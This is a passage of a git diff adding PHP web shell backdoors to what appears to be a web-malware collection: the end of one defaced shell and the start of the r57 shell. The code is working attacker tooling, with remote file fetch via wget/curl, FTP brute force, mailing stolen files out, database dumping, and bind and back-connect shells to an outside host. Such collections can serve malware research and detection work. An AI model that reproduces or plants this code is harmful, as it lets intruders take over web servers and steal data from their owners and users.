$fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from ghhghh")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&$unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ a.S.c - LONG LIVE ETHNIC ALBANIA ( www.asc.sh ) | <a href=http://www.asc.sh/ target=_blank>WWW.XSHQIPTARETX.ORG</a> | <a href=irc://irc.ascnet.biz/asc target=_blank>IRC.ASCNET.BIZ</a> | version ".$version." ]---o</b></font></div></td></tr></table>"; +echo '</body></html>'; + + +?> + + +<html> +<script language=JavaScript> +<!-- +/* status */ + + function one() + {window.status = " :::... !!! ASCRIMEZ NETWORK @ IRC.ASCNET.BIZ => [ ALBOSS PARADISE ] !!! ...::: "; + setTimeout("two()",60); + } + function two() + {window.status = " :::... !!! ASCRIMEZ NETWORK @ IRC.ASCNET.BIZ => [ ALBOSS PARADISE ] !!! ...::: "; + setTimeout("three()",120); + } + function three() + {window.status = " :::... !!! ASCRIMEZ NETWORK @ IRC.ASCNET.BIZ => [ ALBOSS PARADISE ] !!! ...::: "; + setTimeout("one()",180); + } + one(); +// --> +</SCRIPT> +</html> + +<!-- ALBANIA (n) SECURITY CLAN --> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/r57.txt b/web-malware-collection-master/Backdoors/PHP/r57.txt new file mode 100755 index 0000000..25178d3 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57.txt @@ -0,0 +1,2191 @@ +<?php +/******************************************************************************************************/ +/* +/* # # # # +/* # # # # +/* # # # # +/* # ## #### ## # +/* ## ## ###### ## ## +/* ## ## ###### ## ## +/* ## ## #### ## ## +/* ### ############ ### +/* ######################## +/* R57 shell +/* ######## ########## ####### +/* ### ## ########## ## ### +/* ### ## ########## ## ### +/* ### # ########## # ### +/* ### ## ######## ## ### +/* ## # ###### # ## +/* ## # #### # ## +/* ## ## +/* +/******************************************************************************************************/ +/* ~~~ ????????? | Options ~~~ */ + +// ????? ????? | Language +// $language='ru' - ??????? (russian) +// $language='eng' - english (??????????) +$language='eng'; + +// ?????????????? | Authentification +// $auth = 1; - ?????????????? ???????? ( authentification = On ) +// $auth = 0; - ?????????????? ????????? ( authentification = Off ) +$auth = 0; + +// ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access) +// ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!) +// ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57' +// Login & password crypted with md5, default is 'r57' +/******************************************************************************************************/ +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = '1.31'; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="r57shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>"); + } +} +$head = '<!-- ??????????, ???? --> +<html> +<head> +<title>r57 shell</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +color: #000000; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +color: #000000; +} +.table1 { +BORDER: 0px; +BACKGROUND-COLOR: #D4D0C8; +color: #000000; +} +.td1 { +BORDER: 0px; +font: 7pt Verdana; +color: #000000; +} +.tr1 { +BORDER: 0px; +color: #000000; +} +table { +BORDER: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +color: #000000; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +color: #000000; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +color: #000000;; +} +submit { +BORDER: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +color: #000000; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +color: #000000; +} +BODY { +margin: 1px; +color: #000000; +background-color: #e4e0d8; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo '<body bgcolor=#e4e0d8>'; + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + 